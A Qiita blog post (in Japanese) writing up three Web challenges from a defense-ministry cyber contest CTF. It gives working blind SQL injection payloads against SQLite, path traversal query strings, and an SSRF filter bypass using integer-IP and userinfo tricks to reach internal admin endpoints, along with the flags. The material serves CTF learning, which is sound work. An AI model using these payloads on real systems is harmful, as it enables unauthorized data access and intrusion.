1
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

防衛省サイバーコンテスト2026 [Web] writeup

1
Last updated at Posted at 2026-02-03

会員限定の裏口

SecureCorpDB は、表向きは安全に見える SQLite を使用した従業員管理システムですが、脆弱性を抱えています。悪用して隠されたフラグを取得してください。

解答形式: flag{XXXXXX} (半角英数記号)

guestアカウントでのログイン後、ユーザー検索画面に遷移する
ユーザー検索に SQLite を使った SQLインジェクション脆弱性 がある

' AND 1=1--
' AND 1=2--

OK / NG が分かれる 👉 Boolean-based Blind SQL Injection (SQLite) が最適解

テーブル存在確認(sqlite_master)

SQLite ではスキーマ情報は sqlite_master

' AND EXISTS(
  SELECT 1 FROM sqlite_master
  WHERE type='table' AND substr(name,1,5)='admin'
)--

➡ OK 👉 admin_secret テーブルがあると推測

flag カラムの存在確認
' AND EXISTS(
  SELECT 1 FROM admin_secret WHERE flag IS NOT NULL
)--

➡ OK 👉 flag は admin_secret.flag

' AND substr((SELECT flag FROM admin_secret),1,5)='flag{'--

➡ OK 👉 先頭文字列 flag{ を確認

flag の中身を substr + unicode を使用して1文字ずつ推測
' AND unicode(substr((SELECT flag FROM admin_secret),位置,1)) BETWEEN 97 AND 122 --

97 a から 122 z までの英字文字を中間値から2分岐検索を繰り返す

' AND unicode(substr((SELECT flag FROM admin_secret),6,1)) BETWEEN 115 AND 115 --

➡ OK 👉 先頭文字は、115 s を確認

sqlite と推測 👉 flag{sqli まで特定を確認

以降、繰り返し

  • 特定位置の文字列が、a-z の文字に該当するなら、英字を特定
  • 特定位置の文字列が、a-z の文字に該当しなければ、_ を特定

🏁 最終結果フラグを取得
flag{sqlinjection_unionbased_master}

越境パス

このファイルビューアは指定フォルダ内の txt ファイルを読み込むアプリケーションです。しかし、管理者のフラグがどこかに隠されているようです。システムを詳しく調べて、隠されたフラグを見つけてください。

http://10.2.0.8:8080/?file=XXXX

解答形式: flag{XXXXXX} (半角英数記号)

パストラバーサルでアクセス可能な階層を特定
?file=..//     エラーなし
?file=..//..//   エラー文字「アクセスが許可されていないパスです。」
?file=..//..//..// エラー文字「アクセスが許可されていないパスです。」
...

エラーなし階層で推測ファイル flag.txt を試してみる

?file=..//flag.txt

ファイル内容が表示されるが、FAKE_FLAG(ダミー)

管理者用フォルダ readme.txt を試してみる

?file=..//admin//readme.txt

- admin/readme.txt
- admin/config/secure/flag.txt
- admin/logs/access.log
🏁 本物のフラグを取得
http://10.2.0.8:8080/?file=..//admin//config//secure//flag.txt

flag{dir3ct0ry_tr4v3rs4l}

WebProxyの向こう側

WebProxy Service は URL の安全性をチェックするサービスですが、内部ネットワークにアクセスできる脆弱性があります。内部管理システムを探索し、隠された機密ファイルを発見してフラグを取得してください。 なお、この問題のサーバーからチェック可能な外部サイトは、当解答用サーバー (https://c.contest2026.mod.go.jp/) に限定されています。動作確認の際はご注意ください。

接続情報:http://10.2.0.6:8085/

解答形式: flag{XXXXXX} (半角英数記号)

初期調査(サービス理解)

対象サービスにアクセスすると、URL をチェックする WebProxy Service が提供されている。画面下部の技術情報より、以下が判明する。

  • 外部公開ポート:8085
  • バックエンド:Flask / Python
  • 内部管理システム:localhost:8081
    また、外部アクセス可能なドメインは
    c.contest2026.mod.go.jp のみであることが明示されていた。
脆弱性の特定(SSRFの可能性)

まず単純な内部アクセスを試みるが、以下はブロックされた。

http://localhost:8081/
http://127.0.0.1:8081/

エラー:内部ネットワークへのアクセスは許可されていません
→ ブラックリスト形式のチェックと判断。
内部アクセス制限の回避(整数IP)

IPv4 を 10進整数表記に変換した 2130706433 (127.0.0.1) を使用。

http://c.contest2026.mod.go.jp@2130706433:8081/

このURLでアクセスが成功し、内部管理画面が表示された。
内部管理システムの探索

表示された内部管理画面には、以下のエンドポイントが存在した。

  • /system/info
  • /system/services
  • /system/logs
  • /system/config
  • /system/users

ここから設定情報を確認するため、/system/config にアクセス。

設定ファイルからフラグの手がかりを取得
/system/config

結果(抜粋):

  • フラグのファイル名パターン:flag_*.txt
  • 保管ディレクトリ:secrets/flags/
  • デバッグモード有効
  • /system/debug で詳細情報が確認可能
    → 次にデバッグエンドポイントを調査。
デバッグ機能の悪用
/system/debug

レスポンスより、以下のサービスが確認できた。
  • secret-keeper
  • backup-daemon
  • log-rotator
    usage に従い、フラグ管理を行っていそうな
    secret-keeper を指定してアクセス。
/system/debug?service=secret-keeper
フラグ保管場所の特定

secret-keeper のデバッグ情報から以下が判明。

  • フラグは バックアップディレクトリへ移動済み
  • 最新フラグファイル:
flag_20241209.txt

ファイル取得方法:

/system/files?path=...&file=...
🏁 フラグファイルの取得

指定された API を使用してフラグを直接取得。

/system/files?path=secrets/flags/&file=flag_20241209.txt

flag{ssrf_1nt3rn4l_4cc355}
1
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
1
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?